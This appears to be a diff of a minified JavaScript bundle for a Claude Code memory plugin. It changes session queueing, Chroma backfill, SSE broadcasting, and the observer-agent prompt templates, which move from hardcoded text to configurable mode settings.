`).get(this.project);F.info("CHROMA_SYNC","Backfilling summaries",{project:this.project,missing:l.length,existing:e.summaries.size,total:d.count});let f=[];for(let y of l)f.push(...this.formatSummaryDocs(y));for(let y=0;y0?`AND up.id NOT IN (${m.join(",")})`:"",b=r.db.prepare(` + `).get(this.project);U.info("CHROMA_SYNC","Backfilling summaries",{project:this.project,missing:l.length,existing:e.summaries.size,total:d.count});let f=[];for(let y of l)f.push(...this.formatSummaryDocs(y));for(let y=0;y0?`AND up.id NOT IN (${m.join(",")})`:"",b=r.db.prepare(` SELECT up.*, s.project, @@ -745,7 +745,7 @@ No previous sessions found for this project yet.`;let g=d.slice(0,r.sessionCount FROM user_prompts up JOIN sdk_sessions s ON up.claude_session_id = s.claude_session_id WHERE s.project = ? - `).get(this.project);F.info("CHROMA_SYNC","Backfilling user prompts",{project:this.project,missing:b.length,existing:e.prompts.size,total:p.count});let h=[];for(let y of b)h.push(this.formatUserPromptDoc(y));for(let y=0;y{F.error("DB","Chroma backfill failed (non-fatal)",{},e)}),F.info("DB","Database initialized")}async close(){if(this.chromaSync)try{await this.chromaSync.close(),this.chromaSync=null}catch(e){F.error("DB","Failed to close ChromaSync",{},e)}this.sessionStore&&(this.sessionStore.close(),this.sessionStore=null),this.sessionSearch&&(this.sessionSearch.close(),this.sessionSearch=null),F.info("DB","Database closed")}getSessionStore(){if(!this.sessionStore)throw new Error("Database not initialized");return this.sessionStore}getSessionSearch(){if(!this.sessionSearch)throw new Error("Database not initialized");return this.sessionSearch}getChromaSync(){if(!this.chromaSync)throw new Error("ChromaSync not initialized");return this.chromaSync}getSessionById(e){let r=this.getSessionStore().getSessionById(e);if(!r)throw new Error(`Session ${e} not found`);return r}markSessionComplete(e){this.getSessionStore().markSessionCompleted(e)}};var KE=require("events");_t();var ju=class{db;maxRetries;constructor(e,r=3){this.db=e,this.maxRetries=r}enqueue(e,r,n){let a=Date.now();return this.db.prepare(` + `).get(this.project);U.info("CHROMA_SYNC","Backfilling user prompts",{project:this.project,missing:b.length,existing:e.prompts.size,total:p.count});let h=[];for(let y of b)h.push(this.formatUserPromptDoc(y));for(let y=0;y{}),this.sessions.delete(e),this.sessionQueues.delete(e),F.info("SESSION","Session deleted",{sessionId:e,duration:`${(n/1e3).toFixed(1)}s`,project:r.project}),this.onSessionDeletedCallback&&this.onSessionDeletedCallback()}async shutdownAll(){let e=Array.from(this.sessions.keys());await Promise.all(e.map(r=>this.deleteSession(r)))}hasPendingMessages(){return Array.from(this.sessions.values()).some(e=>e.pendingMessages.length>0)}getActiveSessionCount(){return this.sessions.size}getTotalQueueDepth(){let e=0;for(let r of this.sessions.values())e+=r.pendingMessages.length;return e}getTotalActiveWork(){let e=0;for(let r of this.sessions.values())e+=r.pendingMessages.length,r.generatorPromise!==null&&(e+=1);return e}isAnySessionProcessing(){for(let e of this.sessions.values())if(e.pendingMessages.length>0||e.generatorPromise!==null)return!0;return!1}async*getMessageIterator(e){let r=this.sessions.get(e);r||(r=this.initializeSession(e));let n=this.sessionQueues.get(e);if(!n)throw new Error(`No emitter for session ${e}`);let a=5e3;for(;!r.abortController.signal.aborted;){let s=this.getPendingStore().peekPending(e);if(!s){let o=await new Promise(u=>{let l=!1,d=()=>{l||(l=!0,clearTimeout(m),u(!0))},m=setTimeout(()=>{l||(l=!0,n.off("message",d),u(!1))},a);n.once("message",d),r.abortController.signal.addEventListener("abort",()=>{l||(l=!0,clearTimeout(m),n.off("message",d),u(!1))},{once:!0})});if(this.getPendingStore().peekPending(e))continue;if(!o){F.info("SESSION","Generator exiting after linger timeout",{sessionId:e});return}continue}this.getPendingStore().markProcessing(s.id),r.pendingProcessingIds.add(s.id);let i={_persistentId:s.id,_originalTimestamp:s.created_at_epoch,...this.getPendingStore().toPendingMessage(s)};if(r.pendingMessages.push(i),yield i,r.pendingMessages.shift(),i.type==="summarize"){F.info("SESSION","Summary yielded - ending generator",{sessionId:e});return}}}getPendingMessageStore(){return this.getPendingStore()}};_t();var Du=class{sseClients=new Set;addClient(e){this.sseClients.add(e),F.debug("WORKER","Client connected",{total:this.sseClients.size}),e.on("close",()=>{this.removeClient(e)}),this.sendToClient(e,{type:"connected",timestamp:Date.now()})}removeClient(e){this.sseClients.delete(e),F.debug("WORKER","Client disconnected",{total:this.sseClients.size})}broadcast(e){if(this.sseClients.size===0){F.debug("WORKER","SSE broadcast skipped (no clients)",{eventType:e.type});return}let r={...e,timestamp:Date.now()},n=`data: ${JSON.stringify(r)} + `).run(e).changes}toPendingMessage(e){return{type:e.message_type,tool_name:e.tool_name||void 0,tool_input:e.tool_input?JSON.parse(e.tool_input):void 0,tool_response:e.tool_response?JSON.parse(e.tool_response):void 0,prompt_number:e.prompt_number||void 0,cwd:e.cwd||void 0,last_user_message:e.last_user_message||void 0,last_assistant_message:e.last_assistant_message||void 0}}};var Du=class{dbManager;sessions=new Map;sessionQueues=new Map;onSessionDeletedCallback;pendingStore=null;constructor(e){this.dbManager=e}getPendingStore(){if(!this.pendingStore){let e=this.dbManager.getSessionStore();this.pendingStore=new Mu(e.db,3)}return this.pendingStore}setOnSessionDeleted(e){this.onSessionDeletedCallback=e}initializeSession(e,r,n){let a=this.sessions.get(e);if(a){let c=this.dbManager.getSessionById(e);return c.project&&c.project!==a.project&&(U.debug("SESSION","Updating project from database",{sessionDbId:e,oldProject:a.project,newProject:c.project}),a.project=c.project),r?(U.debug("SESSION","Updating userPrompt for continuation",{sessionDbId:e,promptNumber:n,oldPrompt:a.userPrompt.substring(0,80),newPrompt:r.substring(0,80)}),a.userPrompt=r,a.lastPromptNumber=n||a.lastPromptNumber):U.debug("SESSION","No currentUserPrompt provided for existing session",{sessionDbId:e,promptNumber:n,usingCachedPrompt:a.userPrompt.substring(0,80)}),a}let s=this.dbManager.getSessionById(e),i=r||s.user_prompt;r?U.debug("SESSION","Initializing session with fresh userPrompt",{sessionDbId:e,promptNumber:n,userPrompt:r.substring(0,80)}):U.debug("SESSION","No currentUserPrompt provided for new session, using database",{sessionDbId:e,promptNumber:n,dbPrompt:s.user_prompt.substring(0,80)}),a={sessionDbId:e,claudeSessionId:s.claude_session_id,sdkSessionId:null,project:s.project,userPrompt:i,pendingMessages:[],abortController:new AbortController,generatorPromise:null,lastPromptNumber:n||this.dbManager.getSessionStore().getPromptCounter(e),startTime:Date.now(),cumulativeInputTokens:0,cumulativeOutputTokens:0,pendingProcessingIds:new Set},this.sessions.set(e,a);let o=new n1.EventEmitter;return this.sessionQueues.set(e,o),U.info("SESSION","Session initialized",{sessionId:e,project:a.project,claudeSessionId:a.claudeSessionId,queueDepth:0,hasGenerator:!1}),a}getSession(e){return this.sessions.get(e)}queueObservation(e,r){let n=this.sessions.get(e);n||(n=this.initializeSession(e));let a=n.pendingMessages.length,s={type:"observation",tool_name:r.tool_name,tool_input:r.tool_input,tool_response:r.tool_response,prompt_number:r.prompt_number,cwd:r.cwd};try{let u=this.getPendingStore().enqueue(e,n.claudeSessionId,s);U.debug("SESSION","Observation persisted to DB",{sessionId:e,messageId:u,tool:r.tool_name})}catch(u){throw U.error("SESSION","Failed to persist observation to DB",{sessionId:e,tool:r.tool_name},u),u}n.pendingMessages.push(s);let i=n.pendingMessages.length;this.sessionQueues.get(e)?.emit("message");let c=U.formatTool(r.tool_name,r.tool_input);U.info("SESSION",`Observation queued (${a}\u2192${i})`,{sessionId:e,tool:c,hasGenerator:!!n.generatorPromise})}queueSummarize(e,r,n){let a=this.sessions.get(e);a||(a=this.initializeSession(e));let s=a.pendingMessages.length,i={type:"summarize",last_user_message:r,last_assistant_message:n};try{let u=this.getPendingStore().enqueue(e,a.claudeSessionId,i);U.debug("SESSION","Summarize persisted to DB",{sessionId:e,messageId:u})}catch(u){throw U.error("SESSION","Failed to persist summarize to DB",{sessionId:e},u),u}a.pendingMessages.push(i);let o=a.pendingMessages.length;this.sessionQueues.get(e)?.emit("message"),U.info("SESSION",`Summarize queued (${s}\u2192${o})`,{sessionId:e,hasGenerator:!!a.generatorPromise})}async deleteSession(e){let r=this.sessions.get(e);if(!r)return;let n=Date.now()-r.startTime;r.abortController.abort(),r.generatorPromise&&await r.generatorPromise.catch(()=>{}),this.sessions.delete(e),this.sessionQueues.delete(e),U.info("SESSION","Session deleted",{sessionId:e,duration:`${(n/1e3).toFixed(1)}s`,project:r.project}),this.onSessionDeletedCallback&&this.onSessionDeletedCallback()}async shutdownAll(){let e=Array.from(this.sessions.keys());await Promise.all(e.map(r=>this.deleteSession(r)))}hasPendingMessages(){return Array.from(this.sessions.values()).some(e=>e.pendingMessages.length>0)}getActiveSessionCount(){return this.sessions.size}getTotalQueueDepth(){let e=0;for(let r of this.sessions.values())e+=r.pendingMessages.length;return e}getTotalActiveWork(){let e=0;for(let r of this.sessions.values())e+=r.pendingMessages.length,r.generatorPromise!==null&&(e+=1);return e}isAnySessionProcessing(){for(let e of this.sessions.values())if(e.pendingMessages.length>0||e.generatorPromise!==null)return!0;return!1}async*getMessageIterator(e){let r=this.sessions.get(e);r||(r=this.initializeSession(e));let n=this.sessionQueues.get(e);if(!n)throw new Error(`No emitter for session ${e}`);let a=5e3;for(;!r.abortController.signal.aborted;){let s=this.getPendingStore().peekPending(e);if(!s){let o=await new Promise(u=>{let l=!1,d=()=>{l||(l=!0,clearTimeout(m),u(!0))},m=setTimeout(()=>{l||(l=!0,n.off("message",d),u(!1))},a);n.once("message",d),r.abortController.signal.addEventListener("abort",()=>{l||(l=!0,clearTimeout(m),n.off("message",d),u(!1))},{once:!0})});if(this.getPendingStore().peekPending(e))continue;if(!o){U.info("SESSION","Generator exiting after linger timeout",{sessionId:e});return}continue}this.getPendingStore().markProcessing(s.id),r.pendingProcessingIds.add(s.id);let i={_persistentId:s.id,_originalTimestamp:s.created_at_epoch,...this.getPendingStore().toPendingMessage(s)};if(r.pendingMessages.push(i),yield i,r.pendingMessages.shift(),i.type==="summarize"){U.info("SESSION","Summary yielded - ending generator",{sessionId:e});return}}}getPendingMessageStore(){return this.getPendingStore()}};mt();var qu=class{sseClients=new Set;addClient(e){this.sseClients.add(e),U.debug("WORKER","Client connected",{total:this.sseClients.size}),e.on("close",()=>{this.removeClient(e)}),this.sendToClient(e,{type:"connected",timestamp:Date.now()})}removeClient(e){this.sseClients.delete(e),U.debug("WORKER","Client disconnected",{total:this.sseClients.size})}broadcast(e){if(this.sseClients.size===0){U.debug("WORKER","SSE broadcast skipped (no clients)",{eventType:e.type});return}let r={...e,timestamp:Date.now()},n=`data: ${JSON.stringify(r)} -`;F.debug("WORKER","SSE broadcast sent",{eventType:e.type,clients:this.sseClients.size});for(let a of this.sseClients)try{a.write(n)}catch{this.sseClients.delete(a),F.debug("WORKER","Client removed due to write error")}}getClientCount(){return this.sseClients.size}sendToClient(e,r){let n=`data: ${JSON.stringify(r)} +`;U.debug("WORKER","SSE broadcast sent",{eventType:e.type,clients:this.sseClients.size});for(let a of this.sseClients)a.write(n)}getClientCount(){return this.sseClients.size}sendToClient(e,r){let n=`data: ${JSON.stringify(r)} -`;try{e.write(n)}catch{this.sseClients.delete(e)}}};var Ok=require("child_process"),Ck=require("os"),Ik=$t(require("path"),1);_t();_t();function XE(t,e){let r=[],n=/([\s\S]*?)<\/observation>/g,a;for(;(a=n.exec(t))!==null;){let s=a[1],i=Qr(s,"type"),o=Qr(s,"title"),c=Qr(s,"subtitle"),u=Qr(s,"narrative"),l=qu(s,"facts","fact"),d=qu(s,"concepts","concept"),f=qu(s,"files_read","file"),m=qu(s,"files_modified","file"),g="change";i?["bugfix","feature","refactor","change","discovery","decision"].includes(i.trim())?g=i.trim():F.warn("PARSER",`Invalid observation type: ${i}, using "change"`,{correlationId:e}):F.warn("PARSER",'Observation missing type field, using "change"',{correlationId:e});let b=d.filter(p=>p!==g);b.length!==d.length&&F.warn("PARSER","Removed observation type from concepts array",{correlationId:e,type:g,originalConcepts:d,cleanedConcepts:b}),r.push({type:g,title:o,subtitle:c,facts:l,narrative:u,concepts:b,files_read:f,files_modified:m})}return r}function JE(t,e){let n=//.exec(t);if(n)return F.info("PARSER","Summary skipped",{sessionId:e,reason:n[1]}),null;let s=/([\s\S]*?)<\/summary>/.exec(t);if(!s)return null;let i=s[1],o=Qr(i,"request"),c=Qr(i,"investigated"),u=Qr(i,"learned"),l=Qr(i,"completed"),d=Qr(i,"next_steps"),f=Qr(i,"notes");return{request:o,investigated:c,learned:u,completed:l,next_steps:d,notes:f}}function Qr(t,e){let n=new RegExp(`<${e}>([^<]*)`).exec(t);if(!n)return null;let a=n[1].trim();return a===""?null:a}function qu(t,e,r){let n=[],s=new RegExp(`<${e}>(.*?)`,"s").exec(t);if(!s)return n;let i=s[1],o=new RegExp(`<${r}>([^<]+)`,"g"),c;for(;(c=o.exec(i))!==null;)n.push(c[1].trim());return n}_t();function YE(t,e,r){return`You are a Claude-Mem, a specialized observer tool for creating searchable memory FOR FUTURE SESSIONS. - -CRITICAL: Record what was LEARNED/BUILT/FIXED/DEPLOYED/CONFIGURED, not what you (the observer) are doing. - -You do not have access to tools. All information you need is provided in messages. Create observations from what you observe - no investigation needed. +`;e.write(n)}};var Fk=require("child_process"),zk=require("os"),Uk=kt(require("path"),1);mt();mt();La();function i1(t,e){let r=[],n=/([\s\S]*?)<\/observation>/g,a;for(;(a=n.exec(t))!==null;){let s=a[1],i=ra(s,"type"),o=ra(s,"title"),c=ra(s,"subtitle"),u=ra(s,"narrative"),l=Fu(s,"facts","fact"),d=Fu(s,"concepts","concept"),f=Fu(s,"files_read","file"),m=Fu(s,"files_modified","file"),b=$t.getInstance().getActiveMode().observation_types.map(v=>v.id),p=b[0],h=p;i?b.includes(i.trim())?h=i.trim():U.warn("PARSER",`Invalid observation type: ${i}, using "${p}"`,{correlationId:e}):U.warn("PARSER",`Observation missing type field, using "${p}"`,{correlationId:e});let y=d.filter(v=>v!==h);y.length!==d.length&&U.warn("PARSER","Removed observation type from concepts array",{correlationId:e,type:h,originalConcepts:d,cleanedConcepts:y}),r.push({type:h,title:o,subtitle:c,facts:l,narrative:u,concepts:y,files_read:f,files_modified:m})}return r}function o1(t,e){let n=//.exec(t);if(n)return U.info("PARSER","Summary skipped",{sessionId:e,reason:n[1]}),null;let s=/([\s\S]*?)<\/summary>/.exec(t);if(!s)return null;let i=s[1],o=ra(i,"request"),c=ra(i,"investigated"),u=ra(i,"learned"),l=ra(i,"completed"),d=ra(i,"next_steps"),f=ra(i,"notes");return{request:o,investigated:c,learned:u,completed:l,next_steps:d,notes:f}}function ra(t,e){let n=new RegExp(`<${e}>([^<]*)`).exec(t);if(!n)return null;let a=n[1].trim();return a===""?null:a}function Fu(t,e,r){let n=[],s=new RegExp(`<${e}>(.*?)`,"s").exec(t);if(!s)return n;let i=s[1],o=new RegExp(`<${r}>([^<]+)`,"g"),c;for(;(c=o.exec(i))!==null;)n.push(c[1].trim());return n}mt();function c1(t,e,r,n){return`${n.prompts.system_identity} ${r} ${new Date().toISOString().split("T")[0]} -Your job is to monitor a different Claude Code session happening RIGHT NOW, with the goal of creating observations and progress summaries as the work is being done LIVE by the user. You are NOT the one doing the work - you are ONLY observing and recording what is being built, fixed, deployed, or configured in the other session. +${n.prompts.observer_role} -SPATIAL AWARENESS: Tool executions include the working directory (tool_cwd) to help you understand: -- Which repository/project is being worked on -- Where files are located relative to the project root -- How to match requested paths to actual execution paths +${n.prompts.spatial_awareness} -WHAT TO RECORD --------------- -Focus on deliverables and capabilities: -- What the system NOW DOES differently (new capabilities) -- What shipped to users/production (features, fixes, configs, docs) -- Changes in technical domains (auth, data, UI, infra, DevOps, docs) +${n.prompts.recording_focus} -Use verbs like: implemented, fixed, deployed, configured, migrated, optimized, added, refactored +${n.prompts.skip_guidance} -\u2705 GOOD EXAMPLES (describes what was built): -- "Authentication now supports OAuth2 with PKCE flow" -- "Deployment pipeline runs canary releases with auto-rollback" -- "Database indexes optimized for common query patterns" - -\u274C BAD EXAMPLES (describes observation process - DO NOT DO THIS): -- "Analyzed authentication implementation and stored findings" -- "Tracked deployment steps and logged outcomes" -- "Monitored database performance and recorded metrics" - -WHEN TO SKIP ------------- -Skip routine operations: -- Empty status checks -- Package installations with no errors -- Simple file listings -- Repetitive operations you've already documented -- If file related research comes back as empty or not found -- **No output necessary if skipping.** - -OUTPUT FORMAT -------------- -Output observations using this XML structure: +${n.prompts.output_format_header} \`\`\`xml - [ bugfix | feature | refactor | change | discovery | decision ] + [ ${n.observation_types.map(a=>a.id).join(" | ")} ] - [**title**: Short title capturing the core action or topic] - [**subtitle**: One sentence explanation (max 24 words)] + ${n.prompts.xml_title_placeholder} + ${n.prompts.xml_subtitle_placeholder} - [Concise, self-contained statement] - [Concise, self-contained statement] - [Concise, self-contained statement] + ${n.prompts.xml_fact_placeholder} + ${n.prompts.xml_fact_placeholder} + ${n.prompts.xml_fact_placeholder} - [**narrative**: Full context: What was done, how it works, why it matters] + ${n.prompts.xml_narrative_placeholder} - [knowledge-type-category] - [knowledge-type-category] + ${n.prompts.xml_concept_placeholder} + ${n.prompts.xml_concept_placeholder} - [path/to/file] - [path/to/file] + ${n.prompts.xml_file_placeholder} + ${n.prompts.xml_file_placeholder} - [path/to/file] - [path/to/file] + ${n.prompts.xml_file_placeholder} + ${n.prompts.xml_file_placeholder} - \`\`\` +${n.prompts.format_examples} -IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one. +${n.prompts.footer} -Never reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations. - -Remember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help! - -MEMORY PROCESSING START -=======================`}function QE(t){let e,r;try{e=typeof t.tool_input=="string"?JSON.parse(t.tool_input):t.tool_input}catch{e=t.tool_input}try{r=typeof t.tool_output=="string"?JSON.parse(t.tool_output):t.tool_output}catch{r=t.tool_output}return` +${n.prompts.header_memory_start}`}function u1(t){let e,r;try{e=typeof t.tool_input=="string"?JSON.parse(t.tool_input):t.tool_input}catch{e=t.tool_input}try{r=typeof t.tool_output=="string"?JSON.parse(t.tool_output):t.tool_output}catch{r=t.tool_output}return` ${t.tool_name} ${new Date(t.created_at_epoch).toISOString()}${t.cwd?` ${t.cwd}`:""} ${JSON.stringify(e,null,2)} ${JSON.stringify(r,null,2)} -`}function e1(t){return`PROGRESS SUMMARY CHECKPOINT -=========================== -Write progress notes of what was done, what was learned, and what's next. This is a checkpoint to capture progress so far. The session is ongoing - you may receive more requests and tool executions after this summary. Write "next_steps" as the current trajectory of work (what's actively being worked on or coming up next), not as post-session future work. Always write at least a minimal summary explaining current progress, even if work is still in early stages, so that users see a summary output tied to each request. +`}function l1(t,e){let r=t.last_assistant_message||U.happyPathError("SDK","Missing last_assistant_message in session for summary prompt",{sessionId:t.id},void 0,"");return`${e.prompts.header_summary_checkpoint} +${e.prompts.summary_instruction} -Claude's Full Response to User: -${t.last_assistant_message||F.happyPathError("SDK","Missing last_assistant_message in session for summary prompt",{sessionId:t.id},void 0,"")} +${e.prompts.summary_context_label} +${r} -Respond in this XML format: +${e.prompts.summary_format_instruction} - [Short title capturing the user's request AND the substance of what was discussed/done] - [What has been explored so far? What was examined?] - [What have you learned about how things work?] - [What work has been completed so far? What has shipped or changed?] - [What are you actively working on or planning to work on next in this session?] - [Additional insights or observations about the current progress] + ${e.prompts.xml_summary_request_placeholder} + ${e.prompts.xml_summary_investigated_placeholder} + ${e.prompts.xml_summary_learned_placeholder} + ${e.prompts.xml_summary_completed_placeholder} + ${e.prompts.xml_summary_next_steps_placeholder} + ${e.prompts.xml_summary_notes_placeholder} -IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one. - -Never reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content. - -Thank you, this summary will be very useful for keeping track of our progress!`}function t1(t,e,r){return` -Hello memory agent, you are continuing to observe the primary Claude session. +${e.prompts.summary_footer}`}function d1(t,e,r,n){return`${n.prompts.continuation_greeting} ${t} ${new Date().toISOString().split("T")[0]} -You do not have access to tools. All information you need is provided in messages. Create observations from what you observe - no investigation needed. +${n.prompts.system_identity} -CRITICAL: Record what was LEARNED/BUILT/FIXED/DEPLOYED/CONFIGURED, not what you (the observer) are doing. Focus on deliverables and capabilities - what the system NOW DOES differently. +${n.prompts.observer_role} -WHEN TO SKIP ------------- -Skip routine operations: -- Empty status checks -- Package installations with no errors -- Simple file listings -- Repetitive operations you've already documented -- If file related research comes back as empty or not found -- **No output necessary if skipping.** +${n.prompts.spatial_awareness} -IMPORTANT: Continue generating observations from tool use messages using the XML structure below. +${n.prompts.recording_focus} -OUTPUT FORMAT -------------- -Output observations using this XML structure: +${n.prompts.skip_guidance} + +${n.prompts.continuation_instruction} + +${n.prompts.output_format_header} \`\`\`xml - [ bugfix | feature | refactor | change | discovery | decision ] + [ ${n.observation_types.map(a=>a.id).join(" | ")} ] - [**title**: Short title capturing the core action or topic] - [**subtitle**: One sentence explanation (max 24 words)] + ${n.prompts.xml_title_placeholder} + ${n.prompts.xml_subtitle_placeholder} - [Concise, self-contained statement] - [Concise, self-contained statement] - [Concise, self-contained statement] + ${n.prompts.xml_fact_placeholder} + ${n.prompts.xml_fact_placeholder} + ${n.prompts.xml_fact_placeholder} - [**narrative**: Full context: What was done, how it works, why it matters] + ${n.prompts.xml_narrative_placeholder} - [knowledge-type-category] - [knowledge-type-category] + ${n.prompts.xml_concept_placeholder} + ${n.prompts.xml_concept_placeholder} - [path/to/file] - [path/to/file] + ${n.prompts.xml_file_placeholder} + ${n.prompts.xml_file_placeholder} - [path/to/file] - [path/to/file] + ${n.prompts.xml_file_placeholder} + ${n.prompts.xml_file_placeholder} - \`\`\` +${n.prompts.format_examples} -Never reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations. +${n.prompts.footer} -Remember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your continued help! - -MEMORY PROCESSING CONTINUED -===========================`}Yr();Ar();var Qf=require("path"),Z1=require("url"),G1=require("events"),X1=require("child_process"),J1=require("readline"),Ee=$t(require("fs"),1),Y1=require("fs/promises"),aT=require("path"),nT=require("os"),Cn=require("path"),iT=require("process"),oT=require("fs"),cT=require("crypto"),pT=require("crypto"),ai=require("fs"),em=require("path"),fT=require("crypto");var t7={},H9=Object.create,B9=Object.getPrototypeOf,Yf=Object.defineProperty,V9=Object.getOwnPropertyNames,W9=Object.prototype.hasOwnProperty,N1=(t,e,r)=>{r=t!=null?H9(B9(t)):{};let n=e||!t||!t.__esModule?Yf(r,"default",{value:t,enumerable:!0}):r;for(let a of V9(t))W9.call(n,a)||Yf(n,a,{get:()=>t[a],enumerable:!0});return n},ee=(t,e)=>()=>(e||t((e={exports:{}}).exports,e),e.exports),j1=(t,e)=>{for(var r in e)Yf(t,r,{get:e[r],enumerable:!0,configurable:!0,set:n=>e[r]=()=>n})};var Bu=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.regexpCode=t.getEsmExportName=t.getProperty=t.safeStringify=t.stringify=t.strConcat=t.addCodeArg=t.str=t._=t.nil=t._Code=t.Name=t.IDENTIFIER=t._CodeOrName=void 0;class e{}t._CodeOrName=e,t.IDENTIFIER=/^[a-z$_][a-z$_0-9]*$/i;class r extends e{constructor(y){if(super(),!t.IDENTIFIER.test(y))throw new Error("CodeGen: name must be a valid identifier");this.str=y}toString(){return this.str}emptyStr(){return!1}get names(){return{[this.str]:1}}}t.Name=r;class n extends e{constructor(y){super(),this._items=typeof y=="string"?[y]:y}toString(){return this.str}emptyStr(){if(this._items.length>1)return!1;let y=this._items[0];return y===""||y==='""'}get str(){var y;return(y=this._str)!==null&&y!==void 0?y:this._str=this._items.reduce((v,_)=>`${v}${_}`,"")}get names(){var y;return(y=this._names)!==null&&y!==void 0?y:this._names=this._items.reduce((v,_)=>(_ instanceof r&&(v[_.str]=(v[_.str]||0)+1),v),{})}}t._Code=n,t.nil=new n("");function a(h,...y){let v=[h[0]],_=0;for(;_{Object.defineProperty(t,"__esModule",{value:!0}),t.ValueScope=t.ValueScopeName=t.Scope=t.varKinds=t.UsedValueState=void 0;var e=Bu();class r extends Error{constructor(u){super(`CodeGen: "code" for ${u} not defined`),this.value=u.value}}var n;(function(c){c[c.Started=0]="Started",c[c.Completed=1]="Completed"})(n||(t.UsedValueState=n={})),t.varKinds={const:new e.Name("const"),let:new e.Name("let"),var:new e.Name("var")};class a{constructor({prefixes:u,parent:l}={}){this._names={},this._prefixes=u,this._parent=l}toName(u){return u instanceof e.Name?u:this.name(u)}name(u){return new e.Name(this._newName(u))}_newName(u){let l=this._names[u]||this._nameGroup(u);return`${u}${l.index++}`}_nameGroup(u){var l,d;if(!((d=(l=this._parent)===null||l===void 0?void 0:l._prefixes)===null||d===void 0)&&d.has(u)||this._prefixes&&!this._prefixes.has(u))throw new Error(`CodeGen: prefix "${u}" is not allowed in this scope`);return this._names[u]={prefix:u,index:0}}}t.Scope=a;class s extends e.Name{constructor(u,l){super(l),this.prefix=u}setValue(u,{property:l,itemIndex:d}){this.value=u,this.scopePath=(0,e._)`.${new e.Name(l)}[${d}]`}}t.ValueScopeName=s;var i=(0,e._)`\n`;class o extends a{constructor(u){super(u),this._values={},this._scope=u.scope,this.opts={...u,_n:u.lines?i:e.nil}}get(){return this._scope}name(u){return new s(u,this._newName(u))}value(u,l){var d;if(l.ref===void 0)throw new Error("CodeGen: ref must be passed in value");let f=this.toName(u),{prefix:m}=f,g=(d=l.key)!==null&&d!==void 0?d:l.ref,b=this._values[m];if(b){let y=b.get(g);if(y)return y}else b=this._values[m]=new Map;b.set(g,f);let p=this._scope[m]||(this._scope[m]=[]),h=p.length;return p[h]=l.ref,f.setValue(l,{property:m,itemIndex:h}),f}getValue(u,l){let d=this._values[u];if(d)return d.get(l)}scopeRefs(u,l=this._values){return this._reduceValues(l,d=>{if(d.scopePath===void 0)throw new Error(`CodeGen: name "${d}" has no value`);return(0,e._)`${u}${d.scopePath}`})}scopeCode(u=this._values,l,d){return this._reduceValues(u,f=>{if(f.value===void 0)throw new Error(`CodeGen: name "${f}" has no value`);return f.value.code},l,d)}_reduceValues(u,l,d={},f){let m=e.nil;for(let g in u){let b=u[g];if(!b)continue;let p=d[g]=d[g]||new Map;b.forEach(h=>{if(p.has(h))return;p.set(h,n.Started);let y=l(h);if(y){let v=this.opts.es5?t.varKinds.var:t.varKinds.const;m=(0,e._)`${m}${v} ${h} = ${y};${this.opts._n}`}else if(y=f?.(h))m=(0,e._)`${m}${y}${this.opts._n}`;else throw new r(h);p.set(h,n.Completed)})}return m}}t.ValueScope=o}),Be=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.or=t.and=t.not=t.CodeGen=t.operators=t.varKinds=t.ValueScopeName=t.ValueScope=t.Scope=t.Name=t.regexpCode=t.stringify=t.getProperty=t.nil=t.strConcat=t.str=t._=void 0;var e=Bu(),r=r1(),n=Bu();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return n._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return n.str}}),Object.defineProperty(t,"strConcat",{enumerable:!0,get:function(){return n.strConcat}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return n.nil}}),Object.defineProperty(t,"getProperty",{enumerable:!0,get:function(){return n.getProperty}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return n.stringify}}),Object.defineProperty(t,"regexpCode",{enumerable:!0,get:function(){return n.regexpCode}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return n.Name}});var a=r1();Object.defineProperty(t,"Scope",{enumerable:!0,get:function(){return a.Scope}}),Object.defineProperty(t,"ValueScope",{enumerable:!0,get:function(){return a.ValueScope}}),Object.defineProperty(t,"ValueScopeName",{enumerable:!0,get:function(){return a.ValueScopeName}}),Object.defineProperty(t,"varKinds",{enumerable:!0,get:function(){return a.varKinds}}),t.operators={GT:new e._Code(">"),GTE:new e._Code(">="),LT:new e._Code("<"),LTE:new e._Code("<="),EQ:new e._Code("==="),NEQ:new e._Code("!=="),NOT:new e._Code("!"),OR:new e._Code("||"),AND:new e._Code("&&"),ADD:new e._Code("+")};class s{optimizeNodes(){return this}optimizeNames(E,k){return this}}class i extends s{constructor(E,k,M){super(),this.varKind=E,this.name=k,this.rhs=M}render({es5:E,_n:k}){let M=E?r.varKinds.var:this.varKind,X=this.rhs===void 0?"":` = ${this.rhs}`;return`${M} ${this.name}${X};`+k}optimizeNames(E,k){if(E[this.name.str])return this.rhs&&(this.rhs=N(this.rhs,E,k)),this}get names(){return this.rhs instanceof e._CodeOrName?this.rhs.names:{}}}class o extends s{constructor(E,k,M){super(),this.lhs=E,this.rhs=k,this.sideEffects=M}render({_n:E}){return`${this.lhs} = ${this.rhs};`+E}optimizeNames(E,k){if(!(this.lhs instanceof e.Name&&!E[this.lhs.str]&&!this.sideEffects))return this.rhs=N(this.rhs,E,k),this}get names(){let E=this.lhs instanceof e.Name?{}:{...this.lhs.names};return U(E,this.rhs)}}class c extends o{constructor(E,k,M,X){super(E,M,X),this.op=k}render({_n:E}){return`${this.lhs} ${this.op}= ${this.rhs};`+E}}class u extends s{constructor(E){super(),this.label=E,this.names={}}render({_n:E}){return`${this.label}:`+E}}class l extends 